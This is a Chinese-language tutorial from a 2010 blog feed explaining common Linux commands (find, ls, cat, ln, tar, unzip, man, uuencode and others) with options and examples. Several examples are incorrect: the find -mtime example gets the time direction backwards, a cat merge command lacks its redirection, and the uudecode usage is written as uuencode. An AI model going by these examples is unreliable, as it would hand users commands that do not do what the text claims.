<p>2.格式</p>
<p>find [path][options][expression]</p>
<p>path指定目录路径，系统从这里开始沿着目录树向下查找文件。它是一个路径列表，相互用空格分离，如果不写path，那么默认为当前目录。</p>
<p>3.主要参数</p>
<p>[options]参数：</p>
<p>－depth：使用深度级别的查找过程方式，在某层指定目录中优先查找文件内容。</p>
<p>－maxdepth  levels：表示至多查找到开始目录的第level层子目录。level是一个非负数，如果level是0的话表示仅在当前目录中查找。</p>
<p>－mindepth levels：表示至少查找到开始目录的第level层子目录。</p>
<p>－mount：不在其它文件系统（如Msdos、Vfat等）的目录和文件中查找。</p>
<p>－version：打印版本。</p>
<p>[expression]是匹配表达式，是find命令接受的表达式，find命令的所有操作都是针对表达式的。它的参数非常多，这里只介绍一些 常用的参数。</p>
<p>—name：支持统配符*和?。</p>
<p>－atime n：搜索在过去n天读取过的文件。</p>
<p>－ctime n：搜索在过去n天修改过的文件。</p>
<p>－group grpoupname：搜索所有组为grpoupname的文件。</p>
<p>－user 用户名：搜索所有文件属主为用户名（ID或名称）的文件。</p>
<p>－size n：搜索文件大小是n个block的文件。</p>
<p>－print：输出搜索结果，并且打印。</p>
<p>4.应用技巧</p>
<p>find命令查找文件的几种方法：</p>
<p>（1）根据文件名查找</p>
<p>例如，我们想要查找一个文件名是lilo.conf的文件，可以使用如下命令：</p>
<p>find / －name lilo.conf</p>
<p>find命令后的“/”表示搜索整个硬盘。</p>
<p>（2）快速查找文件</p>
<p>根据文件名查找文件会遇到一个实际问题，就是要花费相当长的一段时间，特别是大型Linux文件系统和大容量硬盘文件放在很深的子目录中时。如果 我们知道了这个文件存放在某个目录中，那么只要在这个目录中往下寻找就能节省很多时间。比如smb.conf文件，从它的文件后缀“.conf”可以判断 这是一个配置文件，那么它应该在/etc目录内，此时可以使用下面命令：</p>
<p>find /etc －name smb.conf</p>
<p>这样，使用“快速查找文件”方式可以缩短时间。</p>
<p>（3）根据部分文件名查找方法</p>
<p>有时我们知道只某个文件包含有abvd这4个字，那么要查找系统中所有包含有这4个字符的文件可以输入下面命令：</p>
<p>find / －name &#8216;*abvd*&#8217;</p>
<p>输入这个命令以后，Linux系统会将在/目录中查找所有的包含有abvd这4个字符的文件（其中*是通配符），比如abvdrmyz等符合条件 的文件都能显示出来。</p>
<p>(4) 使用混合查找方式查找文件</p>
<p>find命令可以使用混合查找的方法，例如，我们想在/etc目录中查找大于500000字节，并且在24小时内修改的某个文件，则可以使用 -and (与)把两个查找参数链接起来组合成一个混合的查找方式。</p>
<p>find /etc -size +500000c -and -mtime +1</p>
<p>mv</p>
<p>1.作用</p>
<p>mv命令用来为文件或目录改名，或者将文件由一个目录移入另一个目录中，它的使用权限是所有用户。该命令如同DOS命令中的ren和move的组 合。</p>
<p>2.格式</p>
<p>mv[options] 源文件或目录 目标文件或目录</p>
<p>3.[options]主要参数</p>
<p>－i：交互方式操作。如果mv操作将导致对已存在的目标文件的覆盖，此时系统询问是否重写，要求用户回答“y”或“n”，这样可以避免误覆盖文 件。</p>
<p>－f：禁止交互操作。mv操作要覆盖某个已有的目标文件时不给任何指示，指定此参数后i参数将不再起作用。</p>
<p>4.应用实例</p>
<p>（1）将/usr/cbu中的所有文件移到当前目录（用“.”表示）中：</p>
<p>$ mv /usr/cbu/ * .</p>
<p>（2）将文件cjh.txt重命名为wjz.txt：</p>
<p>$ mv cjh.txt wjz.txt</p>
<p>ls</p>
<p>1.作用</p>
<p>ls命令用于显示目录内容，类似DOS下的dir命令，它的使用权限是所有用户。</p>
<p>2.格式</p>
<p>ls [options][filename]</p>
<p>3.options主要参数</p>
<p>－a, －－all：不隐藏任何以“.” 字符开始的项目。</p>
<p>－A, －－almost－all：列出除了“ . ”及 “.. ”以外的任何项目。</p>
<p>－－author：印出每个文件著作者。</p>
<p>－b, －－escape：以八进制溢出序列表示不可打印的字符。</p>
<p>－－block－size=大小：块以指定&lt;大小&gt;的字节为单位。</p>
<p>－B, －－ignore－backups：不列出任何以 ~ 字符结束的项目。</p>
<p>－f：不进行排序，－aU参数生效，－lst参数失效。</p>
<p>－F, －－classify：加上文件类型的指示符号 (*/=@| 其中一个)。</p>
<p>－g：like －l, but do not list owner。</p>
<p>－G, －－no－group：inhibit display of group information。</p>
<p>－i, －－inode：列出每个文件的inode号。</p>
<p>－I, －－ignore=样式：不印出任何符合Shell万用字符&lt;样式&gt;的项目。</p>
<p>－k：即－－block－size=1K。</p>
<p>－l：使用较长格式列出信息。</p>
<p>－L, －－dereference：当显示符号链接的文件信息时，显示符号链接所指示的对象，而并非符号链接本身的信息。</p>
<p>－m：所有项目以逗号分隔，并填满整行行宽。</p>
<p>－n, －－numeric－uid－gid：类似－l，但列出UID及GID号。</p>
<p>－N, －－literal：列出未经处理的项目名称，例如不特别处理控制字符。</p>
<p>－p, －－file－type：加上文件类型的指示符号 (/=@| 其中一个)。</p>
<p>－Q, －－quote－name：将项目名称括上双引号。</p>
<p>－r, －－reverse：依相反次序排列。</p>
<p>－R, －－recursive：同时列出所有子目录层。</p>
<p>－s, －－size：以块大小为序。</p>
<p>4.应用举例</p>
<p>ls  命令是Linux系统使用频率最多的命令，它的参数也是Linux命令中最多的。使用ls命令时会有几种不同的颜色，其中蓝色表示是目录，绿色表示是可执 行文件，红色表示是压缩文件，浅蓝色表示是链接文件，加粗的黑色表示符号链接，灰色表示是其它格式文件。ls最常使用的是ls- l，见图1所示。</p>
<p>图1 使用ls-l命令</p>
<p>文件类型开头是由10个字符构成的字符串。其中第一个字符表示文件类型，它可以是下述类型之一：－（普通文件）、d（目录）、l（符号链接）、 b（块设备文件）、c（字符设备文件）。后面的9个字符表示文件的访问权限，分为3组，每组3位。第一组表示文件属主的权限，第二组表示同组用户的权限， 第三组表示其他用户的权限。每一组的三个字符分别表示对文件的读（r）、写（w）和执行权限（x）。对于目录，表示进入权限。s表示当文件被执行时，把该 文件的UID 或GID赋予执行进程的UID（用户ID）或GID（组  ID）。t表示设置标志位（留在内存，不被换出）。如果该文件是目录，那么在该目录中的文件只能被超级用户、目录拥有者或文件属主删除。如果它是可执行文 件，那么在该文件执行后，指向其正文段的指针仍留在内存。这样再次执行它时，系统就能更快地装入该文件。接着显示的是文件大小、生成时间、文件或命令名 称。<br />
diff</p>
<p>1.作用</p>
<p>diff命令用于两个文件之间的比较，并指出两者的不同，它的使用权限是所有用户。</p>
<p>2.格式</p>
<p>diff [options] 源文件 目标文件</p>
<p>3.[options]主要参数</p>
<p>-a：将所有文件当作文本文件来处理。</p>
<p>-b：忽略空格造成的不同。</p>
<p>-B：忽略空行造成的不同。</p>
<p>-c：使用纲要输出格式。</p>
<p>-H：利用试探法加速对大文件的搜索。</p>
<p>-I：忽略大小写的变化。</p>
<p>-n &#8211;rcs：输出RCS格式。</p>
<p>cmp</p>
<p>1.作用</p>
<p>cmp（“compare”的缩写）命令用来简要指出两个文件是否存在差异，它的使用权限是所有用户。</p>
<p>2.格式</p>
<p>cmp[options] 文件名</p>
<p>3.[options]主要参数</p>
<p>-l: 将字节以十进制的方式输出，并方便将两个文件中不同的以八进制的方式输出。</p>
<p>cat</p>
<p>1.作用</p>
<p>cat（“concatenate”的缩写）命令用于连接并显示指定的一个和多个文件的有关信息，它的使用权限是所有用户。</p>
<p>2.格式</p>
<p>cat [options] 文件1 文件2……</p>
<p>3.[options]主要参数</p>
<p>－n：由第一行开始对所有输出的行数编号。</p>
<p>－b：和－n相似，只不过对于空白行不编号。</p>
<p>－s：当遇到有连续两行以上的空白行时，就代换为一行的空白行。</p>
<p>4.应用举例</p>
<p>（1）cat命令一个最简单的用处是显示文本文件的内容。例如，我们想在命令行看一下README文件的内容，可以使用命令：</p>
<p>$ cat README</p>
<p>（2）有时需要将几个文件处理成一个文件，并将这种处理的结果保存到一个单独的输出文件。cat命令在其输入上接受一个或多个文件，并将它们作为 一个单独的文件打印到它的输出。例如，把README和INSTALL的文件内容加上行号（空白行不加）之后，将内容附加到一个新文本文件File1  中：</p>
<p>$ cat README INSTALL File1</p>
<p>（3）cat还有一个重要的功能就是可以对行进行编号，见图2所示。这种功能对于程序文档的编制，以及法律和科学文档的编制很方便，打印在左边的 行号使得参考文档的某一部分变得容易，这些在编程、科学研究、业务报告甚至是立法工作中都是非常重要的。</p>
<p>图2 使用cat命令/etc/named.conf文件进行编号</p>
<p>对行进行编号功能有-b（只能对非空白行进行编号）和-n（可以对所有行进行编号）两个参数：</p>
<p>$ cat -b /etc/named.conf</p>
<p>ln</p>
<p>1.作用</p>
<p>ln命令用来在文件之间创建链接，它的使用权限是所有用户。</p>
<p>2.格式</p>
<p>ln [options] 源文件 [链接名]</p>
<p>3.参数</p>
<p>－f：链结时先将源文件删除。</p>
<p>－d：允许系统管理者硬链结自己的目录。</p>
<p>－s：进行软链结(Symbolic Link)。</p>
<p>－b：将在链结时会被覆盖或删除的文件进行备份。</p>
<p>链接有两种，一种被称为硬链接（Hard Link），另一种被称为符号链接（Symbolic Link）。默认情况下，ln命令产生硬链接。</p>
<p>硬连接指通过索引节点来进行的连接。在Linux的文件系统中，保存在磁盘分区中的文件不管是什么类型都给它分配一个编号，称为索引节点号 (Inode  Index)。在Linux中，多个文件名指向同一索引节点是存在的。一般这种连接就是硬连接。硬连接的作用是允许一个文件拥有多个有效路径名，这样用户 就可以建立硬连接到重要文件，以防止“误删”的功能。其原因如上所述，因为对应该目录的索引节点有一个以上的连接。只删除一个连接并不影响索引节点本身和 其它的连接，只有当最后一个连接被删除后，文件的数据块及目录的连接才会被释放。也就是说，文件才会被真正删除。</p>
<p>与硬连接相对应，Lnux系统中还存在另一种连接，称为符号连接（Symbilc  Link），也叫软连接。软链接文件有点类似于Windows的快捷方式。它实际上是特殊文件的一种。在符号连接中，文件实际上是一个文本文件，其中包含 的有另一文件的位置信息。</p>
<p>动手联系</p>
<p>上面我们介绍了Linux文件处理命令，下面介绍几个实例，大家可以动手练习一下刚才讲过的命令。</p>
<p>1.利用符号链接快速访问关键目录</p>
<p>符号链接是一个非常实用的功能。假设有一些目录或文件需要频繁使用，但由于Linux的文件和目录结构等原因，这个文件或目录在很深的子目录中。 比如， <a href="http://www.iwanna.cn/tags/apache/" class="st_tag internal_tag" rel="tag" title="标签 Apache 下的日志">Apache</a>  Web服务器文档位于系统的/usr/local/httpd/htdocs中，并且不想每次都要从主目录进入这样一个长的路径之中(实际上，这个路径也 非常不容易记忆)。</p>
<p>为了解决这个问题，可以在主目录中创建一个符号链接，这样在需要进入该目录时，只需进入这个链接即可。</p>
<p>为了能方便地进入Web服务器(/usr/local/httpd/htdocs)文档所在的目录，在主目录下可以使用以下命令：</p>
<p>$ ln -s /usr/local/httpd/htdocs gg</p>
<p>这样每次进入gg目录就可访问Web服务器的文档，以后如果不再访问Web服务器的文档时，删除gg即可，而真正的Web服务器的文档并没有删 除。</p>
<p>2.使用dd命令将init.rd格式的root.ram内容导入内存</p>
<p>dd if=/dev/fd0 of=floppy.fd</p>
<p>dd if=root.ram of=/dev/ram0 #</p>
<p>3.grep命令系统调用</p>
<p>grep是Linux/Unix中使用最广泛的命令之一，许多Linux系统内部都可以调用它。</p>
<p>(1)如果要查询目录列表中的目录，方法如下：</p>
<p>$ ls -l | grep &#8216;∧d&#8217;</p>
<p>(2)如果在一个目录中查询不包含目录的所有文件，方法如下：</p>
<p>$ ls -l | grep &#8216;∧[∧d]&#8216;</p>
<p>(3)用find命令调用grep，如所有C源代码中的“Chinput”，方法如下：</p>
<p>$find /ZhXwin -name *.c -exec grep -q -s Chinput {} \;-print</p>
<hr />
<p>© <a href="http://www.iwanna.cn">我想网</a> Akon 所有 , 2010. |
<a href="http://www.iwanna.cn/archives/2010/12/02/6033/">永久链接</a> |
<a href="http://www.iwanna.cn/archives/2010/12/02/6033/#comments">没有评论</a> |
提交到
<a rel="nofollow" target="_blank" href="http://www.google.com/reader/view/feed/http://www.iwanna.cn/archives/2010/12/02/6033/">Google Reader</a>
<a rel="nofollow" target="_blank" href="http://www.xianguo.com/subscribe.php?url=http://www.iwanna.cn/archives/2010/12/02/6033/">鲜果</a>
<a rel="nofollow" target="_blank" href="http://www.zhuaxia.com/add_channel.php?url=http://www.iwanna.cn/archives/2010/12/02/6033/">抓虾</a>
<hr />
<script type="text/javascript"><!--
google_ad_client = "pub-2057344547305288";
/* 336x280,iwanna feed,created 10/3/10 */
google_ad_slot = "9738886183";
google_ad_width = 336;
google_ad_height = 280;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<hr />
</p>
<p><small>Feed enhanced by <a href='http://planetozh.com/blog/my-projects/wordpress-plugin-better-feed-rss/'>Better Feed</a> from  <a href='http://planetozh.com/blog/'>Ozh</a></small></p>
]]></content:encoded>
			<wfw:commentRss>http://www.iwanna.cn/archives/2010/12/02/6033/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux必学的60个命令(6)-其他</title>
		<link>http://www.iwanna.cn/archives/2010/12/01/6018/</link>
		<comments>http://www.iwanna.cn/archives/2010/12/01/6018/#comments</comments>
		<pubDate>Wed, 01 Dec 2010 14:47:51 +0000</pubDate>
		<dc:creator>seasun</dc:creator>
				<category><![CDATA[Server]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.iwanna.cn/?p=6018</guid>
		<description><![CDATA[tar 1.作用 tar命令是Unix/Linux系统中备份文件的可靠方法，几乎可以工作于任何环境中，它的使用权限是所有用户。 2.格式 tar [主选项+辅选项] 文件或目录 3.主要参数 使用该命令时，主选项是必须要有的，它告诉tar要做什么事情，辅选项是辅助使用的，可以选用。 主选项： -c 创建新的档案文件。如果用户想备份一个目录或是一些文件，就要选择这个选项。 -r 把要存档的文件追加到档案文件的未尾。例如用户已经做好备份文件，又发现还有一个目录或是一些文件忘记备份了，这时可以使用该选项，将忘记的目录或文件追 加到备份文件中。 -t 列出档案文件的内容，查看已经备份了哪些文件。 -u 更新文件。就是说，用新增的文件取代原备份文件，如果在备份文件中找不到要更新的文件，则把它追加到备份文件的最后。 -x 从档案文件中释放文件。 辅助选项： -b 该选项是为磁带机设定的，其后跟一数字，用来说明区块的大小，系统预设值为20（20×512 bytes）。 -f 使用档案文件或设备，这个选项通常是必选的。 -k 保存已经存在的文件。例如把某个文件还原，在还原的过程中遇到相同的文件，不会进行覆盖。 -m 在还原文件时，把所有文件的修改时间设定为现在。 -M 创建多卷的档案文件，以便在几个磁盘中存放。 -v 详细报告tar处理的文件信息。如无此选项，tar不报告文件信息。 -w 每一步都要求确认。 -z 用gzip来压缩/解压缩文件，加上该选项后可以将档案文件进行压缩，但还原时也一定要使用该选项进行解压缩。 4.应用说明 tar 是Tape Archive（磁带归档）的缩写，最初设计用于将文件打包到磁带上。如果下载过Linux的源代码，或许已经碰到过tar文件 请注意，不要忘了Linux是区分大小写的。例如，tar命令应该总是以小写的形式执行。命令行开关可以是大写、小写或大小写的混合。例如，-t 和-T执行不同的功能。文件或目录名称可以混合使用大小写，而且就像命令和命令行开关一样是区分大小写的。 5.应用实例 tar是一个命令行的工具，没有图形界面。使用Konsole打开一个终端窗口，接下来是一个简单的备份命令（在/temp目录中创建一个 back.tar的文件，/usr目录中所有内容都包含在其中。）： $tar cvf &#8211; /usr &#62; /temp/back.tar 另外，tar命令支持前面第三讲中讲过的crontab命令，可以用crontab工具设置成基于时间的有规律地运行。例如，每晚6点把/usr [...]]]></description>
			<content:encoded><![CDATA[<p>tar</p>
<p>1.作用<br />
tar命令是Unix/Linux系统中备份文件的可靠方法，几乎可以工作于任何环境中，它的使用权限是所有用户。</p>
<p>2.格式<br />
tar [主选项+辅选项] 文件或目录</p>
<p>3.主要参数<br />
使用该命令时，主选项是必须要有的，它告诉tar要做什么事情，辅选项是辅助使用的，可以选用。</p>
<p>主选项：<br />
-c 创建新的档案文件。如果用户想备份一个目录或是一些文件，就要选择这个选项。</p>
<p>-r  把要存档的文件追加到档案文件的未尾。例如用户已经做好备份文件，又发现还有一个目录或是一些文件忘记备份了，这时可以使用该选项，将忘记的目录或文件追 加到备份文件中。<br />
-t 列出档案文件的内容，查看已经备份了哪些文件。<br />
-u 更新文件。就是说，用新增的文件取代原备份文件，如果在备份文件中找不到要更新的文件，则把它追加到备份文件的最后。<br />
-x 从档案文件中释放文件。</p>
<p>辅助选项：<br />
-b 该选项是为磁带机设定的，其后跟一数字，用来说明区块的大小，系统预设值为20（20×512 bytes）。<br />
-f 使用档案文件或设备，这个选项通常是必选的。<br />
-k 保存已经存在的文件。例如把某个文件还原，在还原的过程中遇到相同的文件，不会进行覆盖。<br />
-m 在还原文件时，把所有文件的修改时间设定为现在。<br />
-M 创建多卷的档案文件，以便在几个磁盘中存放。<br />
-v 详细报告tar处理的文件信息。如无此选项，tar不报告文件信息。<br />
-w 每一步都要求确认。<br />
-z 用gzip来压缩/解压缩文件，加上该选项后可以将档案文件进行压缩，但还原时也一定要使用该选项进行解压缩。<br />
<span id="more-6018"></span><br />
4.应用说明<br />
tar 是Tape  Archive（磁带归档）的缩写，最初设计用于将文件打包到磁带上。如果下载过Linux的源代码，或许已经碰到过tar文件</p>
<p>请注意，不要忘了Linux是区分大小写的。例如，tar命令应该总是以小写的形式执行。命令行开关可以是大写、小写或大小写的混合。例如，-t 和-T执行不同的功能。文件或目录名称可以混合使用大小写，而且就像命令和命令行开关一样是区分大小写的。</p>
<p>5.应用实例<br />
tar是一个命令行的工具，没有图形界面。使用Konsole打开一个终端窗口，接下来是一个简单的备份命令（在/temp目录中创建一个 back.tar的文件，/usr目录中所有内容都包含在其中。）：<br />
$tar cvf &#8211; /usr &gt; /temp/back.tar</p>
<p>另外，tar命令支持前面第三讲中讲过的crontab命令，可以用crontab工具设置成基于时间的有规律地运行。例如，每晚6点把/usr 目录备份到hda—第一个IDE接口的主驱动器 (总是位于第一个硬盘)中，只要将下面语句添加到root的crontab中即可：<br />
$00 06 * * * tar cvf /dev/hda1/usrfiles.tar &#8211; /usr</p>
<p>一般情况下，以下这些目录是需要备份的：<br />
◆/etc 包含所有核心配置文件，其中包括网络配置、系统名称、防火墙规则、用户、组，以及其它全局系统项。<br />
◆ /var 包含系统守护进程（服务）所使用的信息，包括DNS配置、DHCP租期、邮件缓冲文件、HTTP服务器文件、dB2实例配置等。<br />
◆/home 包含所有默认用户的主目录，包括个人设置、已下载的文件和用户不希望失去的其它信息。<br />
◆/root 根（root）用户的主目录。<br />
◆/opt 是安装许多非系统文件的地方。IBM软件就安装在这里。OpenOffice、JDK和其它软件在默认情况下也安装在这里。</p>
<p>有些目录是可以不备份的：<br />
◆ /proc  应该永远不要备份这个目录。它不是一个真实的文件系统，而是运行内核和环境的虚拟化视图，包括诸如/proc/kcore这样的文件，这个文件是整个运行 内存的虚拟视图。备份这些文件只是在浪费资源。<br />
◆/dev 包含硬件设备的文件表示。如果计划还原到一个空白的系统，就可以备份/dev。然而，如果计划还原到一个已安装的Linux  系统，那么备份/dev是没有必要的。</p>
<p>unzip</p>
<p>1.作用<br />
unzip 命令位于/usr/bin目录中，它们和MS DOS下的pkzip、pkunzip及MS  Windows中的Winzip软件功能一样，将文件压缩成.zip文件，以节省硬盘空间，当需要的时候再将压缩文件用unzip命令解开。该命令使用权 限是所有用户。</p>
<p>2.格式<br />
unzip [-cflptuvz][-agCjLMnoqsVX][-P &lt;密码&gt;][.zip文件][文件][-d  &lt;目录&gt;][-x &lt;文件&gt;]</p>
<p>3.主要参数<br />
-c：将解压缩的结果显示到屏幕上，并对字符做适当的转换。<br />
-f：更新现有的文件。<br />
-l：显示压缩文件内所包含的文件。<br />
-p：与-c参数类似，会将解压缩的结果显示到屏幕上，但不会执行任何的转换。<br />
-t：检查压缩文件是否正确。<br />
-u：与-f参数类似，但是除了更新现有的文件外，也会将压缩文件中的其它文件解压缩到目录中。<br />
-v：执行是时显示详细的信息。<br />
-z：仅显示压缩文件的备注文字。<br />
-a：对文本文件进行必要的字符转换。<br />
-b：不要对文本文件进行字符转换。<br />
-C：压缩文件中的文件名称区分大小写。<br />
-j：不处理压缩文件中原有的目录路径。<br />
-L：将压缩文件中的全部文件名改为小写。<br />
-M：将输出结果送到more程序处理。<br />
-n：解压缩时不要覆盖原有的文件。<br />
-o：不必先询问用户，unzip执行后覆盖原有文件。<br />
-P&lt;密码&gt;：使用zip的密码选项。<br />
-q：执行时不显示任何信息。<br />
-s：将文件名中的空白字符转换为底线字符。<br />
-V：保留VMS的文件版本信息。<br />
-X：解压缩时同时回存文件原来的UID/GID。<br />
[.zip文件]：指定.zip压缩文件。<br />
[文件]：指定要处理.zip压缩文件中的哪些文件。<br />
-d&lt;目录&gt;：指定文件解压缩后所要存储的目录。<br />
-x&lt;文件&gt;：指定不要处理.zip压缩文件中的哪些文件。<br />
-Z  unzip：-Z等于执行zipinfo指令。在Linux中，还提供了一个叫zipinfo的工具，能够察看zip压缩文件的详细信息。unzip最新 版本是5.50。</p>
<p>gunzip</p>
<p>1.作用<br />
gunzip命令作用是解压文件，使用权限是所有用户。</p>
<p>2.格式<br />
gunzip [-acfhlLnNqrtvV][-s &lt;压缩字尾字符串&gt;][文件...]<br />
或者<br />
gunzip [-acfhlLnNqrtvV][-s &lt;压缩字尾字符串&gt;][目录]</p>
<p>3.主要参数<br />
-a或&#8211;ascii：使用ASCII文字模式。<br />
-c或&#8211;stdout或&#8211;to-stdout：把解压后的文件输出到标准输出设备。<br />
-f或-force：强行解开压缩文件，不理会文件名称或硬连接是否存在，以及该文件是否为符号连接。<br />
-h或&#8211;help：在线帮助。<br />
-l或&#8211;list：列出压缩文件的相关信息。<br />
-L或&#8211;license：显示版本与版权信息。<br />
-n或&#8211;no-name：解压缩时，若压缩文件内含有原来的文件名称及时间戳记，则将其忽略不予处理。<br />
-N或&#8211;name：解压缩时，若压缩文件内含有原来的文件名称及时间戳记，则将其回存到解开的文件上。<br />
-q或&#8211;quiet：不显示警告信息。<br />
-r或&#8211;recursive：递归处理，将指定目录下的所有文件及子目录一并处理。<br />
-S&lt;压缩字尾字符串&gt;或&#8211;suffix&lt;压缩字尾字符串&gt;：更改压缩字尾字符串。<br />
-t或&#8211;test：测试压缩文件是否正确无误。<br />
-v或&#8211;verbose：显示指令执行过程。<br />
-V或&#8211;version：显示版本信息。</p>
<p>4.说明<br />
gunzip是个使用广泛的解压缩程序，它用于解开被gzip压缩过的文件，这些压缩文件预设最后的扩展名为“.gz”。事实上，gunzip就 是gzip的硬连接，因此不论是压缩或解压缩，都可通过gzip指令单独完成。gunzip最新版本是1.3.3 。</p>
<p>unarj</p>
<p>1.作用<br />
unarj解压缩格式为.arj格式的文件，使用权限是所有用户。</p>
<p>2.格式<br />
unarj [eltx][.arj压缩文件]</p>
<p>3.主要参数<br />
e：解压缩.arj文件。<br />
l：显示压缩文件内所包含的文件。<br />
t：检查压缩文件是否正确。<br />
x：解压缩时保留原有的路径。</p>
<p>4.说明<br />
带有.arj扩展名的文件是由用于MS  DOS和Windows的ARJ实用程序创建的。因为ARJ是一种不能免费获得源代码的共享件程序，所以在</p>
<p>mtools</p>
<p>1.作用<br />
mtools  实际上是一个命令集合，是DOS文件系统的工具程序，它可以模拟许多DOS命令，使用起来非常方便。使用权限是所有用户。Linux系统提供了一组称为  mtools的可移植工具，可以让用户轻松地从标准的DOS软盘上读、写文件和目录。它们对DOS和Linux环境之间交换文件非常有用。mtools的 使用非常简单，如果想把软盘里所有的文件都拷贝到硬盘上，那么就可以执行以下命令：<br />
mcopy a:*.*</p>
<p>也就是说，只需要在相应的DOS命令之前加上一个字母“m”，就可以完成对应的功能了。一般Linux发行版本中都有这个软件，可以使用下面命令 检查一下。<br />
rpm -qa|grep mtools</p>
<p>如果没有安装，也没有关系，可以从网上下载(http://mtools.<a href="http://www.iwanna.cn/tags/linux/" class="st_tag internal_tag" rel="tag" title="标签 Linux 下的日志">linux</a>.lu/)一个最新版本来安装。目前可供下载的最新 mtools版本是</p>
<p>2.包括的命令<br />
mcd 目录名：改变MS DOS下的目录。<br />
mcopy 源文件 目标文件：在MS DOS和Unix之间复制文件。<br />
mdel 文件名：删除MS DOS下的文件。<br />
mdir 目录名：显示MS DOS下的目录。<br />
mformat 驱动器号：在低级格式化的软盘上创建MS DOS文件系统。<br />
rnlabel 驱动器号：产生MS DOS下的卷标。<br />
mmd 目录名：建立MS DOS下的目录。<br />
mrd 目录名：删除MS DOS下的目录。<br />
mren 源文件 目标文件：重新命名已存在的MS DOS文件。<br />
mtype 文件名：显示MS DOS文件的内容。</p>
<p>请注意，这些命令和对应的MS  DOS命令非常相似。在mtools命令中，“/”和“\”是可以混用的。因为文件列表的是DOS系统下的文档，对大小写并不敏感，所以“CDE”和 “cde”在这里是一样的。</p>
<p>3.应用实例<br />
(1)如果把软盘进行快速格式化，可以使用命令mformat：<br />
mformat A：</p>
<p>mtools  当初发展的目的是用来处理DOS文件系统的，所以只能用在FAT文件格式的分区上。需要注意的是，如果用mount命令来挂载了FAT16/32分区，那 么就不能使用mtools的指令来处理这些分区上的文件。这是因为一旦FAT16/32分区挂到了Linux文件目录下，Linux就会将其视为文件系统 本身的一部分，这时如果要对其操作就必须使用Linux本身所附带的指令集。</p>
<p>(2)将DOS盘上的文件htca.c复制到当前目录下，并用ls命令进行验证。</p>
<p>$ mcopy a:\htca.c<br />
$ ls -l htca.c<br />
-rw-r- -r- &#8211; 1 xxq xxq 27136 Jan 1 01:80 htca.c</p>
<p>man</p>
<p>1.作用</p>
<p>man命令用来提供在线帮助，使用权限是所有用户。在Linux系统中存储着一部联机使用的手册，以供用户在终端上查找。使用man命令可以调阅 其中的帮助信息，非常方便和实用。</p>
<p>2.格式<br />
man 命令名称<br />
man [-acdfhkKtwW] [-m system] [-p string] [-C config_file] [-M path]  [-P pager] [-S section_list] [section] name &#8230;</p>
<p>3.参数<br />
-C config_file：指定设定文件man.conf，缺省值是/etc/man.conf。<br />
-M path：指定了联机手册的搜寻路径, 如果没有指定则使用环境变数MANPATH的设定；如果没有使用MANPATH，  则会使用/usr/lib/man.conf内的设定；如果MANPATH是空字串，则表示使用缺省值。<br />
-P  pager：指定使用何种pager.man会优先使用此选项设定，然后是依环境变数MANPAGER设定，然后是环境变数PAGER；man缺省使用 /usr/bin/less -is。<br />
-S section_list man：所搜寻的章节列表(以冒号分隔)，此选项会覆盖环境变数MANSECT的设定。<br />
-a man：缺省情况是在显示第一个找到的手册之后，就会停止搜寻，使用此选项会强迫man继续显示所有符合name的联机手册。<br />
-c：即使有最新的cat page，也继续对联机手册重新作排版，本选项在屏幕的行列数改变时或已排版的联机手册损坏时特别有意义。<br />
-d：不要真的显示联机手册，只显示除错讯息。<br />
-D：同时显示联机手册与除错讯息。<br />
-h：显示求助讯息然后结束程式 。<br />
-K：对所有的联机手册搜寻所指定的字串。请注意，本功能回应速度可能很慢，如果指定section（区域）会对速度有帮助。<br />
-m system：依所指定的system名称而指定另一组的联机手册。<br />
man：是manual（手册）的缩写。在输入命令有困难时，可以立刻得到这个文档。例如, 如果使用ps命令时遇到困难，可以输入man  ps得到帮助信息，此时会显示出ps的手册页（man page）。</p>
<p>由于手册页man page是用less程序来看的(可以方便地使屏幕上翻和下翻), 所以在man page里可以使用less的所有选项。</p>
<p>less中比较重要的功能键有:<br />
[q] 退出；<br />
[Enter] 一行行地下翻；<br />
[Space] 一页页地下翻；<br />
[b] 上翻一页；<br />
[/] 后跟一个字符串和[Enter]来查找字符串；<br />
[n] 发现上一次查找的下一个匹配。</p>
<p>4.阅读手册页<br />
手册页在很少的空间里提供了很多的信息，  这里简单介绍一下大多数手册页中都有的部分内容。Linux手册页主要有九个部分：用户指令、系统调用、程序库、设备说明、文件格式、游戏、杂项、系统指 令、内核，手册页快照见图1所示。</p>
<p>图1 ps命令手册页快照</p>
<p>Linux手册页布局见表1。</p>
<p>5.应用实例<br />
Linux  命令中有一些基础的、重要的命令，例如ps、find、cat和ls等。下面来举一个综合应用的例子，由此可以看出man的地位在Linux中可谓至关重 要。但是，man所显示的信息却不是普通的文本，如果直接将这些文字重定向到一个文本文件，就会发现在man中高亮显示的文字就变成了两个，而且有不计其 数的制表符，使打印、编辑都变得非常不便。不过，使用下面这样一条语句就能得到ps命令打印。<br />
# man ps | col -b | lpr</p>
<p>这条命令同时运用了输出重定向和管道两种技巧，作用是将ps命令的帮助信息可以直接打印出来。更多的Man文件可以查看Linux Man</p>
<p>unencode</p>
<p>1.作用<br />
unencode命令可以把一个二进制文件表编码为一个文本文件，使用权限是所有用户。</p>
<p>2.格式<br />
uuencode [-hv] [源文件] 目标文件</p>
<p>3.主要参数<br />
－h：列出指令使用格式(help) 。<br />
－v：列出版本信息。</p>
<p>4.应用说明<br />
uuencode指令可以将二进制文件转化成可使用电子邮件发送的ASCII编码形式。uuencode编码后的资料都以  begin开始，以end作为结束，且通常其中的每一行的开始均为“M”，中间部分是编码过的文件，编码后的文件比源文件要大一些。</p>
<p>uudecode</p>
<p>1.作用<br />
uudecode命令用来将uuencode编码后的档案还原，uudecode只会将begin与end标记之间的编码资料还原，程序会跳过标 记以外的资料。它的使用权限为所有用户。</p>
<p>2.格式<br />
uuencode [-hv] [file1 ...]</p>
<p>3.主要参数<br />
－h：列出指令使用格式(help)。<br />
－v：列出版本信息。</p>
<p>4.应用实例<br />
使用下面命令一次还原几个文件：<br />
uuencode file1.uud file2.uud file3.uud</p>
<p>动手练习</p>
<p>1.在Linux命令行下发送邮件<br />
虽然Linux桌面应用发展很快，但是命令行（Shell）在Linux中依然有很强的生命力。如果能确认电子邮件服务器支持8bit的字节，就 可以直接使用下面命令：<br />
cat ＜附件文件名＞ | mail ＜邮件地址＞</p>
